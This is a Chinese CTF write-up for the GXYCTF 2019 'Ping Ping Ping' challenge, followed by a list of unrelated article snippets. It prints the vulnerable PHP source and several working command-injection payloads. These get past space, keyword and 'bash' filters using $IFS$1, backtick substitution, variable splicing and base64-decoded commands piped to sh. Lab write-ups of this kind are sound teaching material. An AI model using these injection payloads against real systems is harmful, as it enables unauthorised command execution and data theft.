首页 > 其他分享 >[GXYCTF 2019]Ping Ping Ping 题解(多种解题方式)

[GXYCTF 2019]Ping Ping Ping 题解(多种解题方式)

时间:2024-10-29 17:49:15浏览次数:6  
标签:IFS 0.1 题解 base64 Ping cat flag 2019 php

知识点:

命令执行

linux空格绕过

反引号绕过       变量绕过          base64编码绕过

打开页面提示 "听说php可以执行系统函数?我来康康"

然后输入框内提示输入 bjut.edu.cn   输入之后回显信息,是ping 这个网址的信息

 

输入127.0.0.1

因为提示是命令执行,并且会执行ping操作,用;分隔命令,输入 

bjut.edu.cn;ls

发现回显了两个文件flag.php 和 index.php 也说明是linux环境,查看一下flag.php文件


输入bjut.edu.cn;cat flag.php 报错fxck your space!

说明是过滤了空格
#${IFS}  $IFS$1  %09  %20  ${IFS  <重定向符号 有时候都可以替代空格 就看题目过滤了什么符号


尝试之后发现$IFS$1可以  最后的1可以是其他数字,效果是一样的

bjut.edu.cn;cat$IFS$1flag.php

回显fxck your flag! flag也被过滤了
那就查看一下index.php文件,发现里面是源代码

if(isset($_GET['ip'])){
		$ip = $_GET['ip'];
		if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
			print_r($match);
			print($ip);
			echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
			die("fxck your symbol!");
		}
		else if(preg_match("/ /", $ip)){
			die("fxck your space!");
		}
		else if(preg_match("/bash/", $ip)){
			die("fxck your bash!");
		}
		else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
            #检查字符串中是否分别含有 'f', 'l', 'a', 'g' 这四个字母,无论这四个字母之间有多少或什么其他的字符,而且它们出现的顺序与 "flag" 字符串中的顺序相同
			die("fxck your flag!");
		}
		$a = shell_exec("ping -c 4 ".$ip);
		echo "";
		print_r($a);
	}

方法一: 反引号绕过

其中过滤了很多符号,但是没有过滤反引号``

使用反引号绕过   bjut.edu.cn;cat$IFS$1`ls` (先执行``里面的代码,绕过输入flag的限制)

然后f12查看源码得到被注释的flag

方法二:变量绕过

例如a=l;b=s;$a$b  就会执行ls
输入框输入   127.0.0.1;x=f;cat$IFS$1$xlag.php 
这种情况会显示fuck flag,即被过滤,因为整个字符串参数ip中 f l a g 顺序出现

127.0.0.1;x=l;cat$IFS$1f$xag.php    没被过滤,但是不回显flag
127.0.0.1;x=a;cat$IFS$1fl$xg.php    也是一样不回显flag
127.0.0.1;x=g;cat$IFS$1fla$x.php    查看源码得到flag
127.0.0.1;x=ag;cat$IFS$1fl$x.php    查看源码也可以得到flag
127.0.0.1;x=lag;cat$IFS$1f$x.php    查看源码也可以得到flag


这里我的理解是f$xag.php  和 fl$xg.php 不回显flag 是因为把原本的参数$x 当成了$xag 和  $xg
所以要把参数放在最后才会识别为$x

方法三:base64编码绕过

这里还可以将cat flag.php进行base64编码
得到Y2F0IGZsYWcucGhw       再用base64-d命令来执行
虽然过滤了bash但大部分命令仍然可以用sh来代替执行

127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

使用 echo命令使得cat flag.php的base64编码被正确地作为输入参数传递给 base64 -d

即前面的  echo$IFS$1Y2F0IGZsYWcucGhw  作为管道符的输入




同样可以使用反引号``配合base64编码绕过,这样不需要使用sh

127.0.0.1;`echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d`

标签:IFS,0.1,题解,base64,Ping,cat,flag,2019,php
From: https://blog.csdn.net/weixin_73904941/article/details/143275207

相关文章

  • Educational Codeforces Round 171 (Rated for Div. 2) 题解(A-C)
    EducationalCodeforcesRound171(RatedforDiv.2)题解(A-C)这场ABC全都犯病了(悲伤)目录EducationalCodeforcesRound171(RatedforDiv.2)题解(A-C)目录A.PerpendicularSegmentsB.BlackCellsC.ActionFiguresA.PerpendicularSegments大意给你一个......
  • [CodeForces] CF520 题解
    A.Pangram【题目大意】给定一个字符串,询问是否所有英文字符(a到z)都在这个字符串中出现过,不区分大小写。【解题思路】开个桶记录字符是否出现过,最后遍历桶,如果发现有一个没出现就输出NO,否则就输出YES。注意不区分大小写!B.TwoButtons【题目大意】给定两个正整数\(n\)......
  • Educational Codeforces Round 171 (Rated for Div. 2)题解记录
    比赛链接:https://codeforces.com/contest/2026A.PerpendicularSegments题目说了必定有答案,直接对角线即可#include<iostream>#include<queue>#include<map>#include<set>#include<vector>#include<algorithm>#include<deque>#include<......
  • [ARC186E] Missing Subsequence 题解
    Description给定一个整数序列\(\left(X_1,\ldots,X_M\right)\),其长度为\(M\),元素取值为\(1,\ldots,K\)。要求找出长度为\(N\)的序列\((A_1,\ldots,A_N)\)的数量,元素取值为\(1,\ldots,K\),并满足以下条件,结果取模\(998244353\):在所有长度为\(M\)的序列中,唯......
  • ybtoj题解索引
    密码:sunxuhetai2009第一章-递推算法A.错排问题B.传球游戏C.数的划分D.栈的问题E.求f函数F.划分数列G.无限序列......
  • C#的vs2019项目打包安装程序exe
    C#的vs2019项目打包安装程序exe1.在扩展插中安装插件在Nget包管理器中搜索如下名字的插件MicrosoftVisualStudioInstallProjects点击安装后重启vs20192.创建SetupProject项目完成安装后点击项目中新建项,创建SetupProject的项目创建完成后点击图中步骤添加文件,将你......
  • 题解:P3352 [ZJOI2016] 线段树
    首先,题目上说让期望乘上\((\frac{n(n+1)}{2})^q\)的目的就是让我们求方案数与值的乘积。然后我们考虑在操作过后一个位置上的值相对于原来的值肯定是不降的,于是可以想到对每一个值\(v\),原序列中所有\(\lev\)的元素一定构成了若干连续的区间。对每一个这样的区间而言,操作过......
  • P6803 星际迷航 题解
    P6803星际迷航题解题目大意给定一颗\(N\)个节点的树。这样的树有\(D+1\)层,编号从\(0\)到\(D\)。对于\(i=0,1,\dots,D-1\),需要选择第\(i\)层的任意一个节点向第\(i+1\)层的任意一个节点连一条有向边。最初人在第\(0\)层图的\(1\)号节点。两个玩家交替选择下一......
  • CF1249F Maximum Weight Subset 题解 / 长链剖分复习
    CF1249FMaximumWeightSubset题解题目大意给定一个\(n\)个节点的树,每个节点有点权\(a_i\)。从中选出若干节点,要求这些点两两之间距离大于给定常数\(k\),使得点权和最大。Solve给出一种线性做法。前置知识:长链剖分优化DP。考虑一个DP:设\(f(u,d)\)表示在\(u\)的子......
  • Codeforces Round 982 (Div. 2) 10.26 (ABC)题解
    CodeforcesRound982(Div.2)10.26(ABC)题解A.RectangleArrangement数学(math)题意:有一个无限长宽的方形网格,初始为白色,现在有\(n\)个印章,每个印章有自己的宽\(w_i\)和高\(h_i\)。印章会使得网格涂色,变成黑色。这\(n\)个印章都需要使用一次,需要求解出最后网格中黑色......